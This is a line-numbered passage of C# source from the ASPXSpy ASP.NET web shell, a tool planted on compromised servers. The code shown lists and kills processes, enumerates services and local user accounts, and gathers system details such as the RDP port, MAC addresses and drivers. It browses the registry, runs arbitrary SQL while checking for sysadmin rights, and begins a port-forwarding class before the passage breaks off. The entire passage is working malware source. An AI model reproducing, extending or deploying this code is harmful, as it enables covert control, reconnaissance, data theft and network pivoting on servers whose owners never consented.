  715.         string domain=(username.IndexOf("\\")>0)?(username.Split('\\')[0]):"";
  716.         connection.Username = (username.IndexOf("\\")>0)?(username.Split('\\')[1]):username;
  717.         connection.Password = password;
  718.         connection.Authority = "ntlmdomain:"+domain;
  719.         ManagementScope scope = new ManagementScope("\\\\"+computer+"\\"+@namespace, connection);
  720.         scope.Connect();
  721.         ObjectQuery objquery= new ObjectQuery(query);
  722.         ManagementObjectSearcher QS = new ManagementObjectSearcher(scope, objquery);
  723.         return zcg_WmiSearcherToDataTable(QS);
  724.     }
  725.     private DataTable zcg_WmiSearcherToDataTable(ManagementObjectSearcher QS)
  726.     {
  727.         DataTable dt=new DataTable();
  728.         foreach(ManagementObject m in QS.Get())
  729.         {
  730.             DataRow dr=dt.NewRow();
  731.             PropertyDataCollection.PropertyDataEnumerator oEnum;
  732.             oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
  733.             while(oEnum.MoveNext())
  734.             {
  735.                 PropertyData prop=(PropertyData)oEnum.Current;
  736.                 if(dt.Columns.IndexOf(prop.Name)==-1)
  737.                 {
  738.                     dt.Columns.Add(prop.Name);
  739.                     dt.Columns[dt.Columns.Count-1].DefaultValue="";
  740.                 }
  741.                 if(m[prop.Name]!=null)
  742.                 {
  743.                     dr[prop.Name]=m[prop.Name].ToString();
  744.                 }
  745.                 else
  746.                 {
  747.                     dr[prop.Name]="";
  748.                 }
  749.             }
  750.             dt.Rows.Add(dr);
  751.         }
  752.         return dt;
  753.     }
  754.     private void Bin_GetProcess()
  755.     {
  756.         int pcount=0;
  757.         Process[] p=Process.GetProcesses();
  758.         foreach(Process sp in p)
  759.         {
  760.             pcount++;
  761.             TableRow tr=zcg_GetTableRow();
  762.             for(int i=1;i<7;i++)
  763.             {
  764.                 TableCell td=new TableCell();
  765.                 if(i==1)
  766.                 {
  767.                     td.Width=Unit.Parse("2%");
  768.                     td.Text=pcount.ToString();
  769.                     tr.Controls.Add(td);
  770.                 }
  771.                 if(i==2)
  772.                 {
  773.                     td.Text=sp.Id.ToString();
  774.                     tr.Controls.Add(td);
  775.                 }
  776.                 if(i==3)
  777.                 {
  778.                     td.Text=sp.ProcessName.ToString();
  779.                     tr.Controls.Add(td);
  780.                 }
  781.                 if(i==4)
  782.                 {
  783.                     td.Text=sp.Threads.Count.ToString();
  784.                     tr.Controls.Add(td);
  785.                 }
  786.                 if(i==5)
  787.                 {
  788.                     td.Text=sp.BasePriority.ToString();
  789.                     tr.Controls.Add(td);
  790.                 }
  791.                 if(i==6)
  792.                 {
  793.                     td.Text=zcg_MakeKillProcessLink(sp.Id);
  794.                     tr.Controls.Add(td);
  795.                 }
  796.             }
  797.             Bin_Table_Process.Controls.Add(tr);
  798.         }
  799.     }
  800.     private void Bin_Wmi_GetProcess()
  801.     {
  802.         int pcount=0;
  803.         DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Process");
  804.         for(int j=0;j<dt.Rows.Count;j++)
  805.         {
  806.             pcount++;
  807.             TableRow tr=zcg_GetTableRow();
  808.             for(int i=1;i<7;i++)
  809.             {
  810.                 TableCell td=new TableCell();
  811.                 if(i==1)
  812.                 {
  813.                     td.Width=Unit.Parse("2%");
  814.                     td.Text=pcount.ToString();
  815.                     tr.Controls.Add(td);
  816.                 }
  817.                 if(i==2)
  818.                 {
  819.                     td.Text=dt.Rows[j]["ProcessID"].ToString();
  820.                     tr.Controls.Add(td);
  821.                 }
  822.                 if(i==3)
  823.                 {
  824.                     td.Text=dt.Rows[j]["Name"].ToString();
  825.                     tr.Controls.Add(td);
  826.                 }
  827.                 if(i==4)
  828.                 {
  829.                     td.Text=dt.Rows[j]["ThreadCount"].ToString();
  830.                     tr.Controls.Add(td);
  831.                 }
  832.                 if(i==5)
  833.                 {
  834.                     td.Text=dt.Rows[j]["Priority"].ToString();
  835.                     tr.Controls.Add(td);
  836.                 }
  837.                 if(i==6)
  838.                 {
  839.                     td.Text=zcg_MakeKillProcessLink(dt.Rows[j]["ProcessID"]);
  840.                     tr.Controls.Add(td);
  841.                 }
  842.             }
  843.             Bin_Table_Process.Controls.Add(tr);
  844.         }
  845.     }
  846.     private string zcg_MakeKillProcessLink(object pid)
  847.     {
  848.         return string.Format("<a href=\"javascript:Bin_PostBack('zcg_KillProcess','{0}')\">Kill</a>",pid);
  849.     }
  850.     private void zcg_KillProcess(string pid)
  851.     {
  852.         zcg_ProcessHeader();
  853.         try{zcg_DoKillProcess(pid);Bin_Msg("Process Kill Success !");}catch{try{zcg_DoKillProcessWmi(pid);}catch(Exception ex){zcg_ShowError(ex);}}
  854.         Bin_Button_Process_Click(null,null);
  855.     }
  856.     private void zcg_DoKillProcess(string pid)
  857.     {
  858.         Process.GetProcessById(Int32.Parse(pid)).Kill();
  859.     }
  860.     private void zcg_DoKillProcessWmi(string pid)
  861.     {
  862.         uint i=0;
  863.         foreach(ManagementObject p in Bin_WmiQuery("root\\CIMV2","Select * from Win32_Process Where ProcessID ='"+pid+"'"))
  864.         {
  865.             i=(uint)(p.InvokeMethod("Terminate",null));
  866.             p.Dispose();
  867.         }
  868.         if(i==0){Bin_Msg("Process Kill Success !");}
  869.         else{Bin_Msg("Kill process error , returned value: "+i);}
  870.     }
  871.     private void Bin_GetServices()
  872.     {
  873.         int pcount=0;
  874.         ServiceController[] objsrv=System.ServiceProcess.ServiceController.GetServices();
  875.         for(int i=0;i<objsrv.Length;i++)
  876.         {
  877.             pcount++;
  878.             TableRow tr=zcg_GetTableRow();
  879.             for(int b=1;b<7;b++)
  880.             {
  881.                 TableCell td=new TableCell();
  882.                 if(b==1)
  883.                 {
  884.                     td.Width=Unit.Parse("2%");
  885.                     td.Text=pcount.ToString();
  886.                     tr.Controls.Add(td);
  887.                 }
  888.                 if(b==2)
  889.                 {
  890.                     td.Text="null";
  891.                     tr.Controls.Add(td);
  892.                 }
  893.                 if(b==3)
  894.                 {
  895.                     td.Text=objsrv[i].ServiceName.ToString();
  896.                     tr.Controls.Add(td);
  897.                 }
  898.                 if(b==4)
  899.                 {
  900.                     td.Text="";
  901.                     tr.Controls.Add(td);
  902.                 }
  903.                 if(b==5)
  904.                 {
  905.                     string state=objsrv[i].Status.ToString();
  906.                     if(state=="Running")
  907.                     {
  908.                         td.Text="<font color=green>"+state+"</font>";
  909.                     }
  910.                     else
  911.                     {
  912.                         td.Text="<font color=red>"+state+"</font>";
  913.                     }
  914.                     tr.Controls.Add(td);
  915.                 }
  916.                 if(b==6)
  917.                 {
  918.                     td.Text="";
  919.                     tr.Controls.Add(td);
  920.                 }
  921.             }
  922.             Bin_Table_Serviecs.Controls.Add(tr);
  923.         }
  924.     }
  925.     private void Bin_Wmi_GetServices()
  926.     {
  927.         int pcount=0;
  928.         DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Service");
  929.         for(int j=0;j<dt.Rows.Count;j++)
  930.         {
  931.             pcount++;
  932.             TableRow tr=zcg_GetTableRow();
  933.             tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
  934.             for(int i=1;i<7;i++)
  935.             {
  936.                 TableCell td=new TableCell();
  937.                 if(i==1)
  938.                 {
  939.                     td.Width=Unit.Parse("2%");
  940.                     td.Text=pcount.ToString();
  941.                     tr.Controls.Add(td);
  942.                 }
  943.                 if(i==2)
  944.                 {
  945.                     td.Text=dt.Rows[j]["ProcessID"].ToString();
  946.                     tr.Controls.Add(td);
  947.                 }
  948.                 if(i==3)
  949.                 {
  950.                     td.Text=dt.Rows[j]["Name"].ToString();
  951.                     tr.Controls.Add(td);
  952.                 }
  953.                 if(i==4)
  954.                 {
  955.                     td.Text=dt.Rows[j]["PathName"].ToString();
  956.                     tr.Controls.Add(td);
  957.                 }
  958.                 if(i==5)
  959.                 {
  960.                     string state=dt.Rows[j]["State"].ToString();
  961.                     if(state=="Running")
  962.                     {
  963.                         td.Text="<font color=green>"+state+"</font>";
  964.                     }
  965.                     else
  966.                     {
  967.                         td.Text="<font color=red>"+state+"</font>";
  968.                     }
  969.                     tr.Controls.Add(td);
  970.                 }
  971.                 if(i==6)
  972.                 {
  973.                     td.Text=dt.Rows[j]["StartMode"].ToString();
  974.                     tr.Controls.Add(td);
  975.                 }
  976.             }
  977.             Bin_Table_Serviecs.Controls.Add(tr);
  978.         }
  979.     }
  980.     private void Bin_UserInfo()
  981.     {
  982.         DirectoryEntry users=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
  983.         foreach(DirectoryEntry child in users.Children)
  984.         {
  985.             foreach(string name in child.Properties.PropertyNames)
  986.             {
  987.                 PropertyValueCollection pvc=child.Properties[name];
  988.                 int c=pvc.Count;
  989.                 for(int i=0;i<c;i++)
  990.                 {
  991.                     if(name!="objectSid"&&name!="Parameters"&&name!="LoginHours")
  992.                     {
  993.                         TableRow tr=zcg_GetTableRow();
  994.                         TableCell td=new TableCell();
  995.                         td.Text=name;
  996.                         tr.Controls.Add(td);
  997.                         TableCell td1=new TableCell();
  998.                         td1.Text=pvc[i].ToString();
  999.                         tr.Controls.Add(td1);
  1000.                         Bin_Table_User.Controls.Add(tr);
  1001.                     }
  1002.                 }
  1003.             }
  1004.             TableRow trn=new TableRow();
  1005.             for(int x=1;x<3;x++)
  1006.             {
  1007.                 TableCell tdn=new TableCell();
  1008.                 tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1009.                 trn.Controls.Add(tdn);
  1010.                 Bin_Table_User.Controls.Add(trn);
  1011.             }
  1012.         }
  1013.     }
  1014.     private void Bin_Wmi_UserInfo()
  1015.     {
  1016.         DataTable user=zcg_WmiDataTable("root\\CIMV2","select * from Win32_UserAccount");
  1017.         for(int i=0;i<user.Rows.Count;i++)
  1018.         {
  1019.             for(int j=0;j<user.Columns.Count;j++)
  1020.             {
  1021.                 TableRow tr=zcg_GetTableRow();
  1022.                 TableCell td=new TableCell();
  1023.                 td.Text=user.Columns[j].ToString();
  1024.                 tr.Controls.Add(td);
  1025.                 TableCell td1=new TableCell();
  1026.                 td1.Text=user.Rows[i][j].ToString();
  1027.                 tr.Controls.Add(td1);
  1028.                 Bin_Table_User.Controls.Add(tr);
  1029.             }
  1030.             TableRow trn=new TableRow();
  1031.             for(int x=1;x<3;x++)
  1032.             {
  1033.                 TableCell tdn=new TableCell();
  1034.                 tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1035.                 trn.Controls.Add(tdn);
  1036.                 Bin_Table_User.Controls.Add(trn);
  1037.             }
  1038.         }
  1039.     }
  1040.     private void Bin_Sysinfo()
  1041.     {
  1042.         Hide_Div();
  1043.         Bin_Div_Sysinfo.Visible=true;
  1044.         Bin_H2_Title.InnerText="System Information >>";
  1045.         Bin_H2_Mac.InnerText="MAC Information >>";
  1046.         Bin_H2_Driver.InnerText="Driver Information >>";
  1047.         StringBuilder s_inf=new StringBuilder();
  1048.         StringBuilder s_netconfig=new StringBuilder();
  1049.         StringBuilder s_driver=new StringBuilder();
  1050.         try
  1051.         {
  1052.             s_inf.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
  1053.             s_inf.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
  1054.             s_inf.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
  1055.             s_inf.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
  1056.             s_inf.Append("<li><u>Server UserName : </u>"+zcg_GetUserName()+"</li>");
  1057.             s_inf.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
  1058.             RegistryKey key_ts=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
  1059.             string tsport=GetRegValue(key_ts,"PortNumber");
  1060.             RegistryKey key_cpu=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
  1061.             int cpu=key_cpu.SubKeyCount;
  1062.             RegistryKey key_cpuinfo=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
  1063.             string cpuver=GetRegValue(key_cpuinfo,"ProcessorNameString");
  1064.             s_inf.Append("<li><u>Terminal Port : </u>"+tsport+"</li>");
  1065.             s_inf.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
  1066.             s_inf.Append("<li><u>CPU Version : </u>"+cpuver+"</li>");
  1067.             s_inf.Append("<li><u>Server TimeZone : </u>"+zcg_WmiDataTable("root\\CIMV2","select * from Win32_TimeZone").Rows[0]["Caption"]+"</li>");
  1068.             DataTable BIOS=zcg_WmiDataTable("root\\CIMV2","select * from Win32_BIOS");
  1069.             s_inf.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
  1070.             DataTable Memory=zcg_WmiDataTable("root\\CIMV2","select * from Win32_PhysicalMemory");
  1071.             Int64 Memoryall=0;
  1072.             for(int i=0;i<Memory.Rows.Count;i++)
  1073.             {
  1074.                 Memoryall+=Int64.Parse(Memory.Rows[0]["Capacity"].ToString());
  1075.             }
  1076.             s_inf.Append("<li><u>Server Memory : </u>"+Bin_FileSize(Memoryall)+"</li>");
  1077.             DataTable NetConfig=zcg_WmiDataTable("root\\CIMV2","select * from Win32_NetworkAdapterConfiguration");
  1078.             for(int i=0;i<NetConfig.Rows.Count;i++)
  1079.             {
  1080.                 s_netconfig.Append("<li><u>Server MAC"+i+" : </u>"+NetConfig.Rows[i]["Caption"]+"</li>");
  1081.                 if((NetConfig.Rows[i]["MACAddress"] as string)!="")
  1082.                 {
  1083.                     s_netconfig.Append("<li style=\"list-style:none;\"><u>Address : </u>"+NetConfig.Rows[i]["MACAddress"]+"</li>");
  1084.                 }
  1085.             }
  1086.             DataTable Driver=zcg_WmiDataTable("root\\CIMV2","select * from Win32_SystemDriver");
  1087.             for (int i=0; i<Driver.Rows.Count; i++)
  1088.             {
  1089.                 s_driver.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
  1090.                 if ((Driver.Rows[i]["PathName"] as string)!="")
  1091.                 {
  1092.                     s_driver.Append("Path : "+Driver.Rows[i]["PathName"]);
  1093.                 }
  1094.                 else
  1095.                 {
  1096.                     s_driver.Append("No path information");
  1097.                 }
  1098.                 s_driver.Append("</li>");
  1099.             }
  1100.         }
  1101.         catch(Exception error)
  1102.         {
  1103.             zcg_ShowError(error);
  1104.         }
  1105.         finally
  1106.         {
  1107.             Bin_Ul_Sys.InnerHtml=s_inf.ToString();
  1108.             Bin_Ul_NetConfig.InnerHtml=s_netconfig.ToString();
  1109.             Bin_Ul_Driver.InnerHtml=s_driver.ToString();
  1110.         }
  1111.     }
  1112.     private void Bin_Reg()
  1113.     {
  1114.         zcg_RegHeader();
  1115.         RegInit();
  1116.     }
  1117.     private void zcg_RegHeader()
  1118.     {
  1119.         Hide_Div();
  1120.         Bin_Div_Reg.Visible=true;
  1121.         Bin_H2_Title.InnerText="RegShell >>";
  1122.         string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1123.         Bin_Regroot_Href.Text="";
  1124.         foreach(string rootkey in RootKeys.Split('|'))
  1125.         {
  1126.             Bin_Regroot_Href.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a> | ";
  1127.         }
  1128.     }
  1129.     private void RegInit()
  1130.     {
  1131.         Bin_Text_Regread.Text="";
  1132.         string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1133.         TableRow tr;
  1134.         TableCell tc;
  1135.         foreach(string rootkey in RootKeys.Split('|'))
  1136.         {
  1137.             tc=new TableCell();
  1138.             tr=zcg_GetTableRow();
  1139.             tc.Width=Unit.Parse("40%");
  1140.             tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a>";
  1141.             tr.Cells.Add(tc);
  1142.             tc=new TableCell();
  1143.             tc.Width=Unit.Parse("60%");
  1144.             tc.Text="&lt;RootKey&gt;";
  1145.             tr.Cells.Add(tc);
  1146.             Bin_Table_Reg.Rows.Add(tr);
  1147.         }
  1148.     }
  1149.     private void Bin_ShowReg(string Reg_Path)
  1150.     {
  1151.         zcg_RegHeader();
  1152.         if(!Reg_Path.EndsWith("\\"))
  1153.         {
  1154.             Reg_Path=Reg_Path+"\\";
  1155.         }
  1156.         Bin_Text_Regread.Text=Reg_Path;
  1157.         string ParPath=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
  1158.         ParPath=Regex.Replace(ParPath,@"\\+","\\");
  1159.         TableRow tr=zcg_GetTableRow();
  1160.         TableCell tc=new TableCell();
  1161.         tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(ParPath)+"')\">Parent Key</a>";
  1162.         tc.Attributes["colspan"]="2" ;
  1163.         tr.Cells.Add(tc);
  1164.         Bin_Table_Reg.Rows.Add(tr);
  1165.         try
  1166.         {
  1167.             string strSubkey=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
  1168.             RegistryKey rk=null;
  1169.             RegistryKey sk;
  1170.             if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE",true,null)||Reg_Path.StartsWith("hklm",true,null))
  1171.             {
  1172.                 rk=Registry.LocalMachine;
  1173.             }
  1174.             else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT",true,null)||Reg_Path.StartsWith("hkcr",true,null))
  1175.             {
  1176.                 rk=Registry.ClassesRoot;
  1177.             }
  1178.             else if(Reg_Path.StartsWith("HKEY_CURRENT_USER",true,null)||Reg_Path.StartsWith("hkcu",true,null))
  1179.             {
  1180.                 rk=Registry.CurrentUser;
  1181.             }
  1182.             else if(Reg_Path.StartsWith("HKEY_USERS",true,null)||Reg_Path.StartsWith("hku",true,null))
  1183.             {
  1184.                 rk=Registry.Users;
  1185.             }
  1186.             else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG",true,null)||Reg_Path.StartsWith("hkcc",true,null))
  1187.             {
  1188.                 rk=Registry.CurrentConfig;
  1189.             }
  1190.             if(strSubkey.Length>1)
  1191.             {
  1192.                 sk=rk.OpenSubKey(strSubkey);
  1193.             }
  1194.             else
  1195.             {
  1196.                 sk=rk;
  1197.             }
  1198.             foreach(string innerSubKey in sk.GetSubKeyNames())
  1199.             {
  1200.                 tr=zcg_GetTableRow();
  1201.                 tc=new TableCell();
  1202.                 tc.Width=Unit.Parse("40%");
  1203.                 tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
  1204.                 tr.Cells.Add(tc);
  1205.                 tc=new TableCell();
  1206.                 tc.Width=Unit.Parse("60%");
  1207.                 tc.Text="&lt;SubKey&gt;";
  1208.                 tr.Cells.Add(tc);
  1209.                 Bin_Table_Reg.Rows.Add(tr);
  1210.             }
  1211.             TableRow intr=new TableRow();
  1212.             intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  1213.             intr.Attributes["bgcolor"]="#dddddd";
  1214.             TableCell intc=new TableCell();
  1215.             intc.Attributes["colspan"]="2" ;
  1216.             intc.Attributes["height"]="5";
  1217.             intr.Cells.Add(intc);
  1218.             Bin_Table_Reg.Rows.Add(intr);
  1219.             foreach(string strValueName in sk.GetValueNames())
  1220.             {
  1221.                 tr=zcg_GetTableRow();
  1222.                 tc=new TableCell();
  1223.                 tc.Width=Unit.Parse("40%");
  1224.                 tc.Text=strValueName;
  1225.                 tr.Cells.Add(tc);
  1226.                 tc=new TableCell();
  1227.                 tc.Width=Unit.Parse("60%");
  1228.                 tc.Text=GetRegValue(sk,strValueName);
  1229.                 tr.Cells.Add(tc);
  1230.                 Bin_Table_Reg.Rows.Add(tr);
  1231.             }
  1232.         }
  1233.         catch(NullReferenceException ex){Bin_Msg("Path not found");}
  1234.         catch(Exception ex){zcg_ShowError(ex);}
  1235.     }
  1236.     private string GetRegValue(RegistryKey sk,string strValueName)
  1237.     {
  1238.         object buffer;
  1239.         string regstr="";
  1240.         try
  1241.         {
  1242.             buffer=sk.GetValue(strValueName,"NULL");
  1243.             if(buffer.GetType()==typeof(byte[]))
  1244.             {
  1245.                 foreach(byte tmpbyte in(byte[])buffer)
  1246.                 {
  1247.                     if((int)tmpbyte<16)
  1248.                     {
  1249.                         regstr+="0";
  1250.                     }
  1251.                     regstr+=tmpbyte.ToString("X");
  1252.                 }
  1253.             }
  1254.             else if(buffer.GetType()==typeof(string[]))
  1255.             {
  1256.                 foreach(string tmpstr in(string[])buffer)
  1257.                 {
  1258.                     regstr+=tmpstr;
  1259.                 }
  1260.             }
  1261.             else
  1262.             {
  1263.                 regstr=buffer.ToString();
  1264.             }
  1265.         }
  1266.         catch(Exception error)
  1267.         {
  1268.             zcg_ShowError(error);
  1269.         }
  1270.         return regstr;
  1271.     }
  1272.     private void Bin_PortScan()
  1273.     {
  1274.         Hide_Div();
  1275.         Bin_Div_PortScan.Visible=true;
  1276.         Bin_H2_Title.InnerText="PortScan >>";
  1277.     }
  1278.     private void Bin_DataBase()
  1279.     {
  1280.         Hide_Div();
  1281.         Bin_Div_Data.Visible=true;
  1282.         Bin_Div_DBPanel.Visible=false;
  1283.         Bin_H2_Title.InnerText="DataBase >>";
  1284.     }
  1285.     private void OpenConnection()
  1286.     {
  1287.         if(IsSqlServer())
  1288.         {
  1289.             conn=new SqlConnection();
  1290.             comm=new SqlCommand();
  1291.         }else{
  1292.         conn=new OleDbConnection();
  1293.         comm=new OleDbCommand();
  1294.         }
  1295.         if(conn.State==ConnectionState.Closed)
  1296.         {
  1297.             try
  1298.             {
  1299.                 conn.ConnectionString=Bin_TextBox_ConnStr.Text;
  1300.                 comm.Connection=conn;
  1301.                 conn.Open();
  1302.                 if(IsSqlServer()&&Bin_List_DB.SelectedItem!=null&&Bin_List_DB.SelectedItem.Value!="")
  1303.                 {
  1304.                     conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString());
  1305.                 }
  1306.             }
  1307.             catch(Exception error)
  1308.             {
  1309.                 zcg_ShowError(error);
  1310.             }
  1311.         }
  1312.     }
  1313.     private void CloseConnection()
  1314.     {
  1315.         if(conn.State==ConnectionState.Open)
  1316.         {
  1317.             conn.Close();
  1318.         }
  1319.         conn.Dispose();
  1320.         comm.Dispose();
  1321.     }
  1322.     private bool IsSqlServer()
  1323.     {
  1324.         return Bin_List_Connstr.SelectedItem.Text=="MSSQL";
  1325.     }
  1326.     private DataTable Bin_DataTable(string sqlstr)
  1327.     {
  1328.         DbDataAdapter da=null;
  1329.         if(IsSqlServer())
  1330.         {
  1331.             da=new SqlDataAdapter();
  1332.         }else{
  1333.             da=new OleDbDataAdapter();
  1334.         }
  1335.         DataTable dtable=new DataTable();
  1336.         try
  1337.         {
  1338.             OpenConnection();
  1339.             comm.CommandType=CommandType.Text;
  1340.             comm.CommandText=sqlstr;
  1341.             da.SelectCommand=comm;
  1342.             da.Fill(dtable);
  1343.         }
  1344.         finally
  1345.         {
  1346.             CloseConnection();
  1347.         }
  1348.         return dtable;
  1349.     }
  1350.     private bool Bin_ExecSql(string instr)
  1351.     {
  1352.         try
  1353.         {
  1354.             OpenConnection();
  1355.             comm.CommandType=CommandType.Text;
  1356.             comm.CommandText=instr;
  1357.             comm.ExecuteNonQuery();
  1358.             return true;
  1359.         }
  1360.         catch(Exception e)
  1361.         {
  1362.             zcg_ShowError(e);
  1363.             return false;
  1364.         }
  1365.     }
  1366.     private void Bin_ExecBind()
  1367.     {
  1368.         try
  1369.         {
  1370.             DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText);
  1371.             if(dt.Columns.Count>0)
  1372.             {
  1373.                 Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender);
  1374.                 Bin_DataGrid.DataSource=dt;
  1375.                 Bin_DataGrid.DataBind();
  1376.                 for(int i=0;i<Bin_DataGrid.Items.Count;i++)
  1377.                 {
  1378.                     zcg_SetControlAttribute(Bin_DataGrid.Items[i]);
  1379.                 }
  1380.             }
  1381.             else
  1382.             {
  1383.                 Bin_DataGrid.DataSource=null;
  1384.                 Bin_DataGrid.DataBind();
  1385.             }
  1386.             Bin_DataGrid.Visible=true;
  1387.         }
  1388.         catch(Exception e)
  1389.         {
  1390.             zcg_ShowError(e);
  1391.             Bin_DataGrid.Visible=false;
  1392.         }
  1393.     }
  1394.     private void Bin_DataBind()
  1395.     {
  1396.         try
  1397.         {
  1398.             if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value=="")
  1399.             {
  1400.                 Bin_DataGrid.DataSource=null;
  1401.                 Bin_DataGrid.DataBind();
  1402.                 return;
  1403.             }
  1404.             OpenConnection();
  1405.             DataTable tables=new DataTable();
  1406.             if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value!="")
  1407.             {
  1408.                 conn.ChangeDatabase(Bin_List_DB.SelectedItem.Text);
  1409.             }
  1410.             tables=conn.GetSchema("Tables");
  1411.             tables.Columns.Remove("TABLE_CATALOG");
  1412.             tables.Columns.Remove("TABLE_SCHEMA");
  1413.             if(!IsSqlServer()){tables.Columns.Remove("DESCRIPTION");tables.Columns.Remove("TABLE_PROPID");}
  1414.             Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender);
  1415.             Bin_DataGrid.DataSource=tables;
  1416.             Bin_DataGrid.DataBind();
  1417.             for(int i=0;i<Bin_DataGrid.Items.Count;i++)
  1418.             {
  1419.                 string tname=Bin_DataGrid.Items[i].Cells[0].Text;
  1420.                 zcg_SetControlAttribute(Bin_DataGrid.Items[i]);
  1421.                 Bin_DataGrid.Items[i].Attributes["onclick"]="ASPXSpy.Bin_Textarea_Query.value='select * from " + tname + "';";
  1422.             }
  1423.             Bin_DataGrid.Visible=true;
  1424.         }
  1425.         catch(Exception e)
  1426.         {
  1427.             zcg_ShowError(e);
  1428.             Bin_DataGrid.Visible=false;
  1429.         }
  1430.     }
  1431.     protected void DataGrid_PreRender(object sender,EventArgs e)
  1432.     {
  1433.         DataGrid d=(DataGrid)sender;
  1434.         foreach(DataGridItem item in d.Items)
  1435.         {
  1436.             foreach(TableCell t in item.Cells)
  1437.             {
  1438.                 t.Text=t.Text.Replace("<","&lt;").Replace(">","&gt;");
  1439.             }
  1440.         }
  1441.     }
  1442.     private void Bin_Newconn()
  1443.     {
  1444.         Bin_Div_DBPanel.Visible=true;
  1445.         try
  1446.         {
  1447.             Bin_Textarea_Query.InnerHtml="";
  1448.             if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
  1449.             {
  1450.                 Bin_DataGrid.Visible=false;
  1451.                 Bin_Div_Dblist.Visible=true;
  1452.                 Bin_Div_Dbinfo.Visible=true;
  1453.                 OpenConnection();
  1454.                 string cdb=conn.Database;
  1455.                 string verstr=Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString();
  1456.                 DataTable dbs=Bin_DataTable(@"SELECT name FROM master..sysdatabases");
  1457.                 DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  1458.                 DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  1459.                 string dbo="";
  1460.                 if(owner.Rows[0][0].ToString()=="1")
  1461.                 {
  1462.                     dbo="db_owner";
  1463.                 }
  1464.                 else
  1465.                 {
  1466.                     dbo="public";
  1467.                 }
  1468.                 if(rol.Rows[0][0].ToString()=="1")
  1469.                 {
  1470.                     dbo="<font color=blue>sa</font>";
  1471.                 }
  1472.                 Bin_List_Exec.SelectedIndex=0;
  1473.                 Bin_List_DB.Items.Clear();
  1474.                 for(int i=0;i<dbs.Rows.Count;i++)
  1475.                 {
  1476.                     Bin_List_DB.Items.Add(dbs.Rows[i][0].ToString());
  1477.                     if (cdb==dbs.Rows[i][0].ToString())
  1478.                     {
  1479.                         Bin_List_DB.Items[i].Selected=true;
  1480.                     }
  1481.                 }
  1482.                 Bin_Div_Dbinfo.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+verstr+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";                          
  1483.             }
  1484.             else
  1485.             {
  1486.                 Bin_Div_Dblist.Visible=false;
  1487.                 Bin_Div_Dbinfo.Visible=false;
  1488.             }
  1489.             Bin_DataBind();
  1490.         }
  1491.         catch(Exception e)
  1492.         {
  1493.             zcg_ShowError(e);
  1494.             Bin_Div_DBPanel.Visible=false;
  1495.         }
  1496.     }
  1497.     private void Bin_PortMap()
  1498.     {
  1499.         Hide_Div();
  1500.         Bin_Div_PortMap.Visible=true;
  1501.         Bin_H2_Title.InnerText="PortMap >>";
  1502.     }
  1503.     private void Bin_WmiTools()
  1504.     {
  1505.         Hide_Div();
  1506.         Bin_Div_WmiTools.Visible = true;
  1507.         Bin_Div_WmiPanel.Visible = false;
  1508.         Bin_H2_Title.InnerText = "WmiTools >>";        
  1509.     }
  1510.        
  1511.     internal class PortForward
  1512.     {
  1513.         public string LocalAddress;
  1514.         public int LocalPort;
  1515.         public string RemoteAddress;
  1516.         public int RemotePort;
  1517.         private Socket ltcpClient;
  1518.         private Socket rtcpClient;
  1519.         private byte[] rbuffer=new byte[2048];
